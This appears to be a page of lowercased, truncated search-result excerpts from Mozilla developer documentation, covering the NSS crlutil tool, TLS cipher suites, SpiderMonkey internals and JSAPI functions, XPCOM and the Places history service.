he options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h option. options and arguments options options specify an action. option arguments modify an action. the options and arguments for the crlutil command are defined as follows: -g create
new certificate revocation list(crl).- -d delete certificate revocation list from cert database. -i import a crl to the cert database -e erase all crls of specified type from the cert database -l list existing crl located in cert database file. -m modify existing crl which can be located in cert db or in arbitrary file. if located in file it should be encoded in asn.1 encode format. -g ...
...ccess to this file. -l algorithm-name specify a specific signature algorithm. list of possible algorithms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate. bracket the nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for
new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation script syntax crl generation script file has the following syntax: * line w...
...ation date of a cert. date should be represented in generalizedtime format (yyyymmddhhmmssz). * remove certificate entry(s) from crl rmcert range where: range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. * change range of certificate entry(s) in crl range
new-range where:
new-range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. implemented extensions the extensions defined for crl provide methods for associating additional attributes with crls of theirs entries. for more information see rfc #3280 * add the author...
TLS Cipher Suite Discovery
ions of those choices, known as cipher suites, defined in the ietf rfc standards. each cipher suite is represented by a 16-bit number. the number of well-defined cipher suites grows with time, and no tls implementation offers all known cipher suites at all times. ...
...of well-defined cipher suites grows with time, and no tls implementation offers all known cipher suites at all times. an implementation that claimed to offer all defined cipher suites would only be able to make that claim for a short time until another
new cipher suite was defined. at any time, any real implementation implements some subset of the complete set of well-defined cipher suites. each
new release of a tls implementation may contain support for
new cipher suites not supported in previous versions. ...
...implementation that claimed to offer all defined cipher suites would only be able to make that claim for a short time until another
new cipher suite was defined. at any time, any real implementation implements some subset of the complete set of well-defined cipher suites. each
new release of a tls implementation may contain support for
new cipher suites not supported in previous versions. when a
new version of a tls implementation is made available for use by applications, those applications may wish to immediately use the
newly supported cipher suites found in the
new version, without the application needing to be modified and re-released to know about these
new cipher suites. to that end, nss's libssl offers a way for applications to discover at run time the set of cipher suites supported ...
NSS tools : crlutil
listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h option. options and arguments options options specify an action. option arguments modify an action. the options and arguments for the crlutil command are defined as follows: -g create
new certificate revocation list(crl). -d delete certificate revocation list from cert database. -i import a crl to the cert database -e erase all crls of specified type from the cert database -l list existing crl located in cert database file. -m modify existing crl which can be located in cert db or in arbitra...
... signature algorithm. list of possible algorithms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate. bracket the nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for
new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation script sy...
... date should be represented in generalizedtime format (yyyymmddhhmmssz). * remove certificate entry(s) from crl rmcert range where: range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. * change range of certificate entry(s) in crl range
new-range where:
new-range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. implemented extensions the extensions defined for crl provide methods for associating additional attributes with crls of theirs entries. for more information see rfc #3280...
Necko Interfaces Overview
ntified by a nsiuri per protocol implementation single use (ie. channel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg. ...
...annel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg. ...
...oad group when download completes load groups in gecko own all channels used to load a particular page (until the channels complete) all channels owned by a load group can be canceled at once via the load group's nsirequest::cancel method nsitransport represents a physical connection, such as a file descriptor or a socket used directly by protocol handler implementations (as well as by mail
news and chatzilla) synchronous i/o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; conten...
Creating JavaScript jstest reftests
ecmascript language specification, as well as internationalization api specification and the json data interchange format. it is maintained by tc39, the ecmascript standard's technical committee. mozilla manually imports these tests into the js/src/tests/test262 directory. you should contribute directly to test262 in the following scenarios: you are writing tests for the implementation of a
new feature or feature proposal for ecmascript. if tests for the
new feature proposal do not yet exist in test262 (they might!), contributing to test262 will allow all other javascript implementors to use your tests as well. you would like to contribute tests of an ecmascript, intl or json feature insufficiently covered by test262. at the time of this writing, mozilla imports test262 te...
...ile's in-file metadata is translated from test262 format to a format readibly by the jstest harness. if you are contributing directly to test262, you must submit the tests in the test262 format, which you can see in the test262 git repository and read about here. an update script exists in the js/src/tests directories to fetch and reformat the test262 suite, see test262-update.py. writing a
new test file please read the high level advice for test writing in the parent article here. jstests has a special requirement: the call to reportcompare in every jstest is required by the test harness. except in old tests or super strange
new tests, it should be the last line of the test. comparison functions and shared test functionality the jstest runner loads the code in js/src/tests/shel...
... that the test actually passed if any of the exit codes are found when the test terminates. this approach has limited use, however. in the javascript shell, an uncaught exception or out of memory error will terminate the shell with an exit code of 3. however, an uncaught error or exception will not cause the browser to terminate with a non-zero exit code. to make the situation even more complex,
newer c++ compilers will abort the browser with a typical exit code of 5 by throwing a c++ exception when an out of memory error occurs. simply testing the exit code does not allow you to distinguish the variety of causes a particular abnormal exit may have. in addition, some tests pass if they do not crash; however, they may not terminate unless killed by the test driver. a modification will soon ...
Garbage collection
a pointer store occurs and records just enough information to make sure that live objects don't get collected. the spidermonkey incremental write barrier spidermonkey uses a (relatively!) simple, common incremental write barrier called a snapshot-at-the-beginning allocate-black barrier. to understand how this barrier works, first assume that we're going to do an incremental gc during which no
new objects are allocated, just to keep things simple. how do we make sure the gc doesn't collect any live objects? one way would be to make sure that every object that was live at the beginning of the incremental gc gets marked. (this means if an object has all references to it dropped during this incremental gc, it will be collected on the next incremental gc.) this is called snapshot-at-the-beginn...
...gc pointer. the barrier marks the pointed-to object black, and pushes any outgoing edges onto the mark stack. the key observation is that the only way an object can get 'lost' and not marked is if all pointers to the object are overwritten. thus, if whenever we're about to overwrite a pointer to an object we mark the object black first, then no objects can get 'lost'. now consider allocations. a
newly allocated object wasn't present at the beginning of the gc, so the snapshot-at-the-beginning barrier doesn't do it any good. but we do need to make sure the object doesn't get collected if it's live. this is easily done by simply marking
new objects immediately upon allocation during an incremental gc, thus the name allocate-black. the spidermonkey incremental read barrier the textbook versio...
..., e.g., an array of jsobject pointers. in this example, if the private field is overwritten, the jsobject pointers could be 'lost', so a write barrier must be invoked to mark them. js::nativeobject::privatewritebarrierpre takes care of this by invoking the jsobject's class trace hook before the private field is set. another detail is that write barriers can be skipped when initializing fields of
newly allocated objects, because no pointer is being overwritten. sweeping todo generational gc todo gc statistics api you can access the light statistics the gc keeps at runtime through the gc statistics api. source files gc/gc.{h,cpp} defines gc internal api functions, including entry points to trigger gc. gc/barrier[-inl].h implements incremental and generational write barriers. gc/cel...
Property cache
nvalid: the property described by this property cache entry has been shadowed. the two shadowing guarantees ensure that if this happens, the shape of pobj changes, invalidating the entry. setting. for jof_set instructions, this makes two additional guarantees: first, vword.issprop(); second, the correct behavior is to set the property described by vword.tosprop(), rather than to shadow it with a
new own property. teleportation. the jit handles situations where scopeindex ≠ 0 or protoindex > 1 specially. it walks the scope chain and prototype chain as described above only once, at compile time, and emits code containing the pointer to the object that contains the property. the emitted code guards on the identity of the object to search. then it guards on the shape of the object containing ...
...e property. if both guards pass, there is no need to walk the chain. the jit code "teleports" directly to the appropriate object. adding cache entries {.kpc=pc, .kshape=kshape, .vshape()=vshape, .scopeindex()=0, .protoindex()=0, .vword=vword} where kshape != vshape this type of entry is only created for jsop_setprop and jsop_setname instructions that create a
new property. when the operand to the instruction at pc is an object obj with shape kshape, and rt->protohazardshape == vshape, the lookup can be skipped. it is guaranteed that obj does not have an own property with the desired name and does not inherit a jsprop_shared or jsprop_readonly property with that name from any prototype. it is guaranteed that vword.issprop(), and vword.tosprop() describes t...
...e desired name and does not inherit a jsprop_shared or jsprop_readonly property with that name from any prototype. it is guaranteed that vword.issprop(), and vword.tosprop() describes the property that should be added to obj. with regard to property attributes, getters, setters, and so forth, the property cache entry must take into account several rules documented at js_setproperty. sometimes the
new property can be created simply by calling jsscope::extend, but there are many special cases and pitfalls to watch out for. when a prototype gains a property that could invalidate an entry of this type, rt->protohazardshape is bumped, effectively marking all such entries invalid at once. entry value words for the .vword member of a non-adding property cache entry, one of the following is true: ...
Tracing JIT
destroyed, it returns its pages to the fragmento for reuse. nanojit/assembler.* the nanojit/assembler.cpp and nanojit/assembler.h files define the class assembler, which transforms lins values into nins values. in other words, an assembler transforms lir code into native code. an assembler is also able to modify existing fragments of native code, by rewriting native jump instructions to jump to
new locations. in this way the assembler can "patch together" multiple fragments, so that program control can flow from one fragment into another, or back out of generated code and into the interpreter. an assembler is the only component of the tracing jit that reads or writes native code. therefore an assembler contains several machine-specific methods which are implemented in the accompanying nano...
...ted with the currently active fragmento. nanojit/regalloc.* nanojit's register allocator. this is a local register allocator, meaning that it does not allocate registers across basic blocks. it is correspondingly very simple: register allocation is done immediately, step-by-step as code is being generated. a running tally is kept of assignments between registers and lir operands, and any time a
new lir operand is required in a register a
new one is assigned from the list of free registers. when all registers are in use, the least-often-used register currently in use is spilled. nanojit/native*.* the files nativei386.h, nativei386.cpp, nativearm.h, nativearm.cpp, etc. each define architecture-specific methods within the assembler class. only one architecture-specific variant is included in...
...cular pc reaches a threshold value, the target is considered hot. when the monitor decides a target pc is hot, it looks in a hashtable of fragments to see if there is a fragment holding native code for that target pc. if it finds such a fragment, it transitions to executing mode. otherwise it transitions to recording mode. recording when the trace monitor enters recording mode, it constructs a
new trace recorder, of type tracerecorder. it then passes control back to the spidermonkey interpreter. the interpreter continues interpreting bytecode, but with an important difference: each bytecode it interprets is also sent to the trace monitor and recorded in the monitor's trace recorder. recording mode is temporary -- ideally it only lasts as long as it takes to record a single iteration of a ...
JS::Add*Root
vp js::heap<js::value> the address of the js::value variable to root. rp js::heap<jsstring *> the address of the jsstring * variable to root. rp js::heap<jsobject *> the address of ...
... vp js::heap<js::value> the address of the js::value variable to root. ...
...oot. vp js::heap<js::value> the address of the js::value variable to root. rp js::heap<jsstring *> the address of the jsstring * variable to root. rp js::heap<jsobject *> the address of the jsobject * variable to root. rp js::heap<jsscript *> the address of the jsscript * variable to root. name const char * the name of the
new root, or null. description the js::add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collect...
JS::CompileFunction
iption cx jscontext * the context in which to compile the function. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. scopechain js::autoobjectvector & the scope in which to compile the function. options js::readonlycompileoptions & compile options. name const char * name to assign the
newly compiled function. nargs unsigned number of arguments to pass to the function. argnames const char *const * names to assign to the arguments passed to the function. chars const char16_t * string containing the body of the function to compile. bytes const char * string containing the body of the function to compile. length s...
... size_t the length, in characters, of body. srcbuf js::sourcebufferholder & source buffer containing the script function compile. fun js::mutablehandlefunction out parameter. on success, fun receives the result function. description js::compilefunction compiles a function from a text string chars, bytes, or srcbuf. name is the name to assign to the
newly created function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number of argument names should match the number of arguments specified in nargs. chars, bytes, or srcbuf is a string containing the source code of the function. length is the length of the source code in characters. on success...
...n takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number of argument names should match the number of arguments specified in nargs. chars, bytes, or srcbuf is a string containing the source code of the function. length is the length of the source code in characters. on success, js::compilefunction stores an function object representing the
newly compiled function into fun and and returns true. otherwise, it returns false and the value left in fun is undefined. see also the jsapi user guide contains example code using compiled scripts. mxr id search for js::compilefunction js::evaluate js::compile js::compileoffthread js_executescript js_decompilescript bug 771705 ...
JSExtendedClass
obsolete since javascript 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsextendedclass is an extended version of jsclass with additional hooks. a c/c++ program can use a jsextendedclass with the js_initclass and js_
newobject apis to create objects that have custom methods and properties implemented in c/c++. syntax struct jsextendedclass { jsclass base; jsequalityop equality; jsobjectop outerobject; jsobjectop innerobject; jsiteratorop iteratorobject;// added in spidermonkey 1.8 jsobjectop wrappedobject; // added in spidermonkey 1.8 ...and additional reserved fields. }; name t...
...ptional. overrides the javascript == and != operators. outerobject jsobjectop optional. return the current outer object. this is used to implement split objects. innerobject jsobjectop optional. return the current inner object. this is used to implement split objects. iteratorobject jsiteratorop added in spidermonkey 1.8 optional. creates and returns a
new iterator. wrappedobject jsobjectop added in spidermonkey 1.8 optional. if non-null, an object of this class may serve as a wrapper for another object. wrappers sometimes transparently behave like the object they wrap. for example, an object and its wrappers are all equal under ===. description to implement a custom class that uses any of the jsextendedclass callbacks: creat...
...eserved fields at the end of the jsextendedclass are null. jsclass and jsextendedclass structs should usually be global, and in this case the compiler automatically initializes these fields to null. (this is a feature of the c and c++ languages.) otherwise, use memset. set the jsclass_is_extended flag in myextendedclass.base.flags. pass &myextendedclass.base to functions like js_initclass or js_
newobject that require a jsclass *. see also bug 571789 ...
JSGetObjectOps
17this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsgetobjectops is the type for jsclass.getobjectops callback syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in which the
new object is being created. cls jsclass * the class of the
new object. description jsobjectops is used by js_
newobject's internals to discover the set of high-level object operations to use for
new objects of the given class. all native objects have a jsclass, which is stored as a private (int-tagged) pointer in object slots. in contrast, all native and host objects have a jsobj...
...s jsobjectops in the api) provides a low-level interface to class-specific code and data, while jsobjectops allows for a higher level of operation, which does not use the object's class except to find the class's jsobjectops struct, by calling clasp->getobjectops, and to finalize the object. if this seems backwards, that's because it is! api compatibility requires a jsclass *clasp parameter to js_
newobject, etc. most host objects do not need to implement the larger jsobjectops, and can share the common jsscope code and data used by the native (js_objectops, see jsobj.c) ops. further extension to preserve api compatibility: if this function returns a pointer to jsxmlobjectops.base, not to jsobjectops, then the engine calls extended hooks needed for e4x. jsclass hooks jsclass offerd following...
... see also mxr id search for jshasinstanceop jsclass js_hasinstance bug 571789 ...
JSStringFinalizer
this article covers features introduced in spidermonkey 17 finalize external strings created by js_
newexternalstring. syntax struct jsstringfinalizer { void (*finalize)(const jsstringfinalizer *fin, char16_t *chars); }; name type description fin jsstringfinalizer the finalizer itself. chars char16_t * buffer of the external string to be finalized. ...
...by js_
newexternalstring. syntax struct jsstringfinalizer { void (*finalize)(const jsstringfinalizer *fin, char16_t *chars); }; name type description fin jsstringfinalizer the finalizer itself. chars char16_t * buffer of the external string to be finalized. description jsstringfinalizer::finalize finalizes external strings created by js_
newexternalstring. ...
...*finalize)(const jsstringfinalizer *fin, char16_t *chars); }; name type description fin jsstringfinalizer the finalizer itself. chars char16_t * buffer of the external string to be finalized. description jsstringfinalizer::finalize finalizes external strings created by js_
newexternalstring. see also mxr id search for jsstringfinalizer js_
newexternalstring bug 724810 ...
JS_AddExternalStringFinalizer
ed since it could be removed at any time. try to avoid using it. register a custom string memory manager. syntax int js_addexternalstringfinalizer(jsstringfinalizeop finalizer); name type description finalizer jsstringfinalizeop pointer to a callback function, described below. the js engine will automatically call this function each time a string created by js_
newexternalstring is garbage-collected. callback syntax typedef void (*jsstringfinalizeop)(jscontext *cx, jsstring *str); name type description cx jscontext * pointer to a jscontext which the finalizer may use for certain very limited operations (not documented). since the jsstringfinalizeop callback is called during garbage collection, it must avoid most jsapi...
...context * pointer to a jscontext which the finalizer may use for certain very limited operations (not documented). since the jsstringfinalizeop callback is called during garbage collection, it must avoid most jsapi functions. (is cx guaranteed to be non-null?) str jsstring * the string being finalized. this is always a string that the application previously created by calling js_
newexternalstring. the callback may use js_getstringchars(str) to get a pointer to the character buffer, which is the pointer which the application passed to js_
newexternalstring() when creating the string. it is the callback's responsibility to free the memory. after this callback, the js engine will not use that memory anymore and will not keep a pointer to it. the callback may not keep a refer...
... returns a nonnegative type index if there is room for finalizer in the global gc finalizers table, else returns -1. ...
JS_DefinePropertyWithTinyId
obsolete since jsapi 30this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. create a
new object property with a tiny id. syntax jsbool js_definepropertywithtinyid( jscontext *cx, jsobject *obj, const char *name, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); jsbool js_defineucpropertywithtinyid( jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); name type description cx jscontext * the context in which to define the property. requires request. in a js_threadsafe build, the caller must...
... const jschar *name, size_t namelen, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); name type description cx jscontext * the context in which to define the property. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to create the
new property. name const char * or const jschar * name for the property to create. namelen size_t (only in js_defineucpropertywithtinyid) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated. tinyid int8 8-bit id to aid in sharing getter and setter callbacks among properties. value jsval initial stored va...
... name const char * or const jschar * name for the property to create. namelen size_t (only in js_defineucpropertywithtinyid) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated. tinyid int8 8-bit id to aid in sharing getter and setter callbacks among properties. value jsval initial stored value for the
new property. getter jspropertyop getproperty method for retrieving the current property value. setter jspropertyop setproperty method for specifying a
new property value. attrs unsigned int property attributes. description js_definepropertywithtinyid defines an object property with a tiny id. js_defineucpropertywithtinyid is the unicode version of...
JS_PreventExtensions
syntax // added in spidermonkey 45 bool js_preventextensions(jscontext *cx, js::handleobject obj, js::objectopresult &result); // obsolete since jsapi 39 bool js_preventextensions(jscontext *cx, js::handleobject obj, bool *succeeded); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to be made non-extensible. result js::objectopresult & (out parameter) receives the result of the operation. ...
...leobject object to be made non-extensible. result js::objectopresult & (out parameter) receives the result of the operation. added in spidermonkey 45 succeeded bool * outparam indicating, on jsapi success, whether the object is now non-extensible. obsolete since jsapi 39 description all javascript objects recognize the concept of extensibility: whether
new properties may be added to the object. in some situations, it may be convenient to prohibit
new properties. in javascript this may be accomplished using the object.preventextensions method. the similar jsapi method is js_preventextensions. the failure-mode information below is
new as of spidermonkey 36. before then, js_preventextensions did not accept a succeeded argument; in those cases wh...
...ceeded); // // rv == false, succeeded is indeterminate the second case occurs when no internal error is encountered, but the object simply refuses to be made non-extensible. for example, a proxy might refuse to be made non-extensible; this refusal would show up in the post-call value of *succeeded. var target = {}; var handler = { preventextensions: function(obj) { return false; } }; var obj =
new proxy(target, handler); // bool succeeded; // bool rv = js_preventextensions(cx, obj, &succeeded); // // rv == true, succeeded == false note that as with most jsapi methods, *succeeded is only set if js_preventextensions returns true (that is, does not fail). thus you should always check the return value of js_preventextensions, and only if that is true check the value of *succeeded. see also...
JS_ShutDown
free all resources used by the js engine, not associated with specific runtimes. syntax void js_shutdown(void); description destroys all free-standing resources allocated by spidermonkey, not associated with any jsruntime, jscontext, or other structure. this method should be called after all other jsapi data has been properly cleaned up: every jsruntime created with js_
newruntime must have been destroyed with js_destroyruntime, every jscontext created with js_
newcontext must have been destroyed with js_destroycontext, and so on. calling this method before all other resources have been destroyed has undefined behavior. failure to call this method, at present, has no adverse effects other than leaking memory. this may not always be the case; it's recommended that all embedders call this met...
...ted. ...
...d has been used to clean up memory allocated by jsdtoa.cpp, memory allocated to implement date.now() on windows, and when the internationalization api is enabled, memory internally allocated by icu. exact details about what this method cleans up will vary depending upon the version of spidermonkey in use. see also mxr id search for js_shutdown js_init js_
newruntime js_destroyruntime js_
newcontext js_destroycontext ...
History Service Design
vice design of the places system. places is designed to be a complete replacement for the firefox bookmarks and history systems using storage. this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers. view the service interface definition: nsinavhistoryservice.idl. objectives the primary objectives of the
new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views. the user can query his visits based on a date range, meta contents or revisit be...
...llows the creation for complex queries. queries results maintenance: allows easy access to queries results. charset for pages: allows setting and reading charset for each page. database maintenance at startup the service creates an exclusive storage connection to places.sqlite, the exclusive locking is needed for both a perf gain and data-safety. in case the database is missing a
new one is created, if instead the database exists but the connection to it fails due to database corruption, the corrupt database is moved away and a
new one is created. in both cases an implementer can know what did happen at startup and act accordingly (maybe restoring a backup). once the database connection has been set-up the schema version of the database is checked. schema version is upgraded...
...e. if a page can be added we first check if it exists already, then it is added or updated accordingly to the previous check, and common attributes are set based on concurrent visit properties. typed means the page as a typed visit, hidden means the page should not be shown in autocomplete, while frecency is the relevance the page will have in locationbar queries. finally observers are notified a
new visit has been added. every visit is identified by its visit date, and a visit type (also known as transition type) that represents how we have come to that page (typed, click, redirect, bookmark, etc.). an additional property of a visit is the visit we have come from, this is used to track visit chains in global history, so for example if clicking a link causes a redirect the from visit will al...
Retrieving part of the bookmarks tree
g bookmarks using places. get the query and options objects all querying is done through the history service. first, you need to get an empty query and options objects from the history service: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.get
newqueryoptions(); var query = historyservice.get
newquery(); find the folder you want to get known folder ids are retrieved from the bookmarks service. attributes defined in /toolkit/components/places/public/nsinavbookmarksservice.idl are: bookmarksmenufolder, tagsfolder, unfiledbookmarksfolder and toolbarfolder. you can also get folder ids from a previous query. this example will get the id of the ...
...n open these folders and descend into the hierarchy. you will want to read the section "using the results" in places:query system to understand the different result types. ...
...hy. you will want to read the section "using the results" in places:query system to understand the different result types. ...
XML Extras
tes need to be created, however. if you'd like to help out with qa, you can do one of the following: sign up as the qa owner for any of the implemented components. the qa owner will manage the tests associated with their component, act as qa contact for related bugs and help with regression testing. contribute a test suite or individual tests that use the implemented components. file bugs for
new test you have, and/or check them into extensions/xmlextras/tests/. file bugs against the implemented components. bugs should be filed against the xml component in the browser product. documentation probably the best way to learn how to use these technologies is through examples. there are some in extensions/xmlextras/tests/. if you follow that link to look at the examples you will need to loo...
...ss-browser xml paging code" and "implement a flexible shopping cart with xml and asp". the mozilla developer center has several pages for xmlhttprequest. below are some key differencies in "xml extras" between mozilla and microsoft software: difference microsoft mozilla member names case insensitive? begins with lower case letter xmlhttprequest creation
new activexobject("msxml2.xmlhttp")
new xmlhttprequest() xmlhttprequest.send("some string") ok ok starting with milestone 0.9.7 (actually nightly 2001-11-28). with older builds, passing strings to send() works only in chrome, see post.html sample. the "workaround" is to use domparser object's parsefromstring() method to create a document from string, and pass the temporary document ...
...ripts - see the javascript security: signed scripts document for more details. normally your files should reside on a webserver so this shouldn't pose a problem (there you do not need that line either). additionally, "foo.com:80" and "foo.com:313" are considered different hosts for security purposes. you cannot open a connection to a different host. domparser creation not available
new domparser() xmlserializer creation not available
new xmlserializer() minimal documentation for the components listed above can be found using mozilla documentation generated by doxygen. file
new bugs for additional documentation contributions, either specifically aimed at javascript developers or to complete & clarify the javadoc-style comments in the idl files. nsidomser...
XPCOM changes in Gecko 2.0
see nssamplemodule.cpp. note that nsigenericfactory.h has been removed. references to nsigenericfactory.h should be replaced with mozilla/moduleutils.h. it is possible for a binary component to be compatible with mozilla 1.9.2 and mozilla 2.0 by using the extra macro ns_impl_mozilla192_nsgetmodule. see nssamplemodule.cpp for more details. note: binary xpcom components must be recompiled for every
new major release of firefox starting with firefox 4. your life would be much easier over the long term if you switch to using js-ctypes instead. also note that extensions using binary components must now use the unpack property in the install manifest. platform-specific directories the component/chrome system used to look in platform-specific subdirectories of an extension, such as platform/winnt_x8...
...fixed with "service," if the component was implemented as a service. this prefix needs to be dropped when migrating to chrome.manifest. changed category names the xpcom category manager is used to register certain global helper objects. because chrome.manifest is a space-delimited format, category names with spaces cannot be registered. ...
...one or more extensions was added, removed, enabled, or disabled, it was necessary to throw away all existing component registrations, then restart the application (what we call the "extension manager restart") during its startup process. this was necessary in order to ensure that any components that should no longer be available are disposed of properly, and to re-register everything, loading any
new components that may be needed. in theory, this is invisible to the user, but it's a costly process, since every component needs to be loaded and executed, then unloaded, then reloaded again during the restart. on top of that, with the ongoing work to make firefox multithreaded, content processes either need to register components on a per-process basis, or somehow share a component cache with the...
Creating XPCOM components
uction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with mozilla - prompts a discussion of the relationship between components and modules, of xpcom interfaces, and of the registration process in general. note: in general, you should try to avoid having to create xpcom components. add-ons should try to use the
new add-on sdk as much as possible; however, there may be cases when it's unavoidable. note:this article describes a method that uses xpidl but you should use webidl instead. preface who should read this book organization of the tutorial following along with the examples conventions acknowledgements an overview of xpcom the xpcom solution gecko components interfaces interfaces...
...faces into your build environment implementing the nsicontentpolicy interface receiving notifications implementing the nsicontentpolicy uniform resource locators checking the white list creating nsiuri objects building the weblock ui user interface package list client code overview xul the xul document the locking ui site adding ui weblock.xul overlaying
new user interface into mozilla weblockoverlay.xul other resources weblock.css image resources packaging weblock component installation overview archiving resources the weblock installation script the weblock trigger script distributing your component appendix a - setting up the gecko sdk downloading and setting the sdk building a microsoft visual cpp project cre...
...this material may be distributed only subject to the terms and conditions set forth in the open publication lic...
Making cross-thread calls using runnables
pt should instead use workers. in general, threading and message passing should be asynchronous. for example, let's say we have a function, calculatepi(int digits), which will calculate π to an arbitrary number of digits: void calculatepi(int digits, nscstring& result); // this is synchronous this can take a while, so we don't want to run this on the main thread. instead, we want to run it on a
new thread and be notified when the result is available. so we declare an asynchronous version of the same function: typedef void (*picallback)(const nscstring& result); // callback function void calculatepiasynchronously(int digits, picallback callback); creating a runnable nsrunnable is a helper class: it already implements threadsafe refcounting, so all you need to do is override the run() functi...
...erthread->shutdown(); } private: picallback mcallback; nscstring mresult; nscomptr<nsithread> mworkerthread; }; class picalculatetask : public nsrunnable { public: picalculatetask(picallback callback, int digits) : mcallback(callback) , mdigits(digits) { } ns_imethod run() { nscstring result; calculatepi(mdigits, result); nscomptr<nsirunnable> resultrunnable =
new piresulttask(mcallback, result); ns_dispatchtomainthread(resultrunnable); } private: picallback mcallback; int mdigits; }; putting it all together to start a
new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a
new thread, get the thread manager nscomptr<nsithreadmanager> t...
...lback mcallback; int mdigits; }; putting it all together to start a
new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a
new thread, get the thread manager nscomptr<nsithreadmanager> tm = do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->
newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call back immediately with an empty string which indicates failure callback(emptycstring()); return; } nscomptr<nsirunnable> r =
new picalculatetask(callback, digits); mythread->dispatch(r, nsieventtarget::dispatch_normal); // the result callback will shut down the worker thread, we can let ...
Components.classes
e enumerated using a for...in loop. ...
...ry the components.classes array as follows: var clazz0 = components.classes["@mozilla.org/messenger;1"]; clazz0 is the class object for the contractid @mozilla.org/messenger;1, which is not usually used by itself, but whose createinstance and getservice methods can be used to create a
new instance of the component or to access the singleton instance, if the contract id represents a service. ...
...d. shortcuts it's a common practice to abbreviate components.classes and components.interfaces by storing a reference to the object as a constant: const cc = components.classes, ci = components.interfaces; var os = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); a less known trick, useful when creating multiple instances of the same component, is to use the
new operator on the class object: var clazz = components.classes["@mozilla.org/supports-array;1"]; var inst =
new clazz(components.interfaces.nsisupportsarray); this implicitly calls the createinstance() method for you. you still have to provide the interface name each time you create an instance, which is not necessary when using components.constructor. determining if a component has to be inst...
Language bindings
these exception objects may be thrown when implementing xpcom interfaces in javascript, and they can provide better diagnostics in the error console if not caught than simply throwing an nsresult's value will.components.idcomponents.id is a constructor that creates...
...s is a collection of various useful xpconnect features. its interface is defined at js/xpconnect/idl/xpccomponents.idl.components.utils.cloneintothis function provides a safe way to take an object defined in a privileged scope and create a structured clone of it in a less-privileged scope. ...
...the zeal level for garbage collection. you can get details on what this method does in js_setgczeal. this method calls through to that thusly:components.utils.unloadcomponents.utils.unload was introduced in firefox 7 and is used to unload javascript code modules. ...
Folders
the folder classes all implement the nsimsgfolder interface. there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and ns
newsfolder. they all inherit from nsmsgdbfolder, which implements a lot of the core functionality. rss feeds are implemented by nslocalmailfolder. each line in the folder pane corresponds to a folder object. ...
... and ns
newsfolder. they all inherit from nsmsgdbfolder, which implements a lot of the core functionality. rss feeds are implemented by nslocalmailfolder. each line in the folder pane corresponds to a folder object. ...
...of the core functionality. rss feeds are implemented by nslocalmailfolder. each line in the folder pane corresponds to a folder object. ...
NS ConvertASCIItoUTF16 external
